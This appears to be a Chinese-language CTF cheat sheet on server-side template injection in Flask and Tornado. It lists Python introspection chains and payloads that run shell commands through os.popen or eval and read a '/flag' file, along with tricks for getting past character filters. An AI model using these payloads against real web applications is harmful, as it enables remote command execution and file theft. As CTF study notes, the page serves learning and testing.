0%

CTFSSTI注入

SSTI 模板注入

flask/Django
  1. 找到可以调用的类
  2. 调用函数读取文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//step 1
.__class__ //查看类属性
.__base__ //查看直接父类
.__bases__ //查看所有父类
.__subclasses__()//查看所有子类
.__mro__//查看类继承顺序

//step2 2
__init__ //初始化类,返回的类型是function
__globals__ //使用方式是 函数名'.__globals__'获取函数所处空间下可使用的module、方法以及所有变量。

__builtins__ //内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身,要在函数内部访问内置函数(如 `eval`)或内置对象(如 `os`),需要通过 `__builtins__` 来访问


//命令执行和文件读取函数
eval() --> __init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')
os模块 --> __init__.__globals__['os'].popen("ls /").read()
popen函数 --> __init__.__globals__['popen']("ls /").read()
importlib类 --> ["load_module"]("os")["popen"]("ls /").read()
linecache函数 --> __init__.globals__['linecache']['os'].popen('ls /').read()
subprocess.Popen 类

//文件读取
FileLoader
catch_warnings --> __init__.__globals__.__builtins__.open('/flag','r').read()

Tornando

Tornado使用 {% ... %} 来包裹控制语句,用 {{ ... }} 来包裹表达式

1
2
3
4
5
6
7
8
9
10
11
12
13

handler
{{ handler.get_argument(‘cmd’) }} 获取名为cmd的GET或者POST参数
{{ handler.request.arguments }} 以词典的形式返回所有参数
{{ handler.settings }} 包含Tornado的配置信息



request 访问当前的http请求
request.url
request.method
...


ezssti
过滤通了数字过__len__()函数获取数字

攻防世界shrine
过滤了正反括号使用了
url_for

-------------到底咯QAQ嘎嘎-------------